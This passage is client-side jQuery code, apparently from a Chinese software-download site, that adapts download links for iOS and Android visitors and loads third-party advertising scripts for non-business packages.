                    $('.m-down-ul li a').attr({href: 'javascript:;', ispc: true});
                }
                else {
                    $('.m-down-ul li a').attr('issw', true);
                }                
                if (!isAds) {
                    iossoftAdd();
                }
            }        
            function addhighLab() {
                $.getScript('https://ca.6071.com/?id=cr1731002333_utf8', function () {});
            }
            function iossoftAdd() {
                $.getScript('https://ca.6071.com/?id=cr17310023331_utf8', function () {});
            }
        },
        ifMatching: function () {
            var spDownUrl = $('#address').attr('href');
            var i = 0;
            for (i = 0; i < pageInfo.noAd.length; i++) {
                if (downHref.indexOf(pageInfo.noAd[i]) > -1) {
                    isAds = true;
                }

            }
            if (pageInfo.ismoney === 1) {
                isAds = true;
            }

            if (platform.isIos()) { // IOS
                var iosspUrlid = 0; // 0位适配失败,1为适配成功
                if ($.inArray(spDownUrl, pageInfo.iosspUrl) !== -1) {
                    iosspUrlid = 1;
                }
                var ifiosSp = $.inArray(pageInfo.categroyId, pageInfo.catearrIos);
                if (ifiosSp === -1 && $('.g-tags-box ul li').length <= 0 && iosspUrlid === 0) { // 没有匹配到
                    $('.m-down-ul li a').attr({href: 'javascript:;', ispc: true});
                }
                else { // 匹配资源
                    $('.m-down-ul li a').attr('issw', true);
                }
                if (!isAds) {
                    this.iossoftAdd();
                }
            }
            else { // 安卓
                var idArray = [];
                idArray = downHref.split('.');
                if (downHref.indexOf('mo.L5645.net') !== -1 && $('.g-tags-box ul li').length <= 0) {
                    $('.m-down-ul li a').attr('href', '/down.asp?id=' + idArray[4]);
                    $('.m-down-msg .type b:last').html('系统:Android');
                }
                else {
                    var azspUrlid = 0; // 0位适配失败,1为适配成功
                    if ($.inArray(spDownUrl, pageInfo.azspUrl) !== -1) {
                        azspUrlid = 1;
                    }
                    var ifazSp = $.inArray(pageInfo.categroyId, pageInfo.catearr);
                    if (ifazSp === -1 && $('.g-tags-box ul li').length <= 0 && azspUrlid === 0) {
                        $('.m-down-ul li a').attr({href: 'javascript:;', ispc: true});
                    }
                    else {
                        $('.m-down-ul li a').attr('issw', true);
                    }
                }
                if ($('.m-down-ul li a').attr('ispc')) {
                    $('.g-show-title p').html('该软件无安卓版,大家<span>还下载了</span>这些:');
                }
                else {
                    $('.g-show-title p').html('大家<span>还下载了</span>这些:');
                }
                $('.g-foot-nav').append('<p style="display:block">是否为商务包:' + isAds + '</p>');
                if (!isAds) {
                    $('.g-foot-nav').append('<p style="display:block">不是商务包进入成功</p>');
                    this.addhighLab();
                }
            }
        },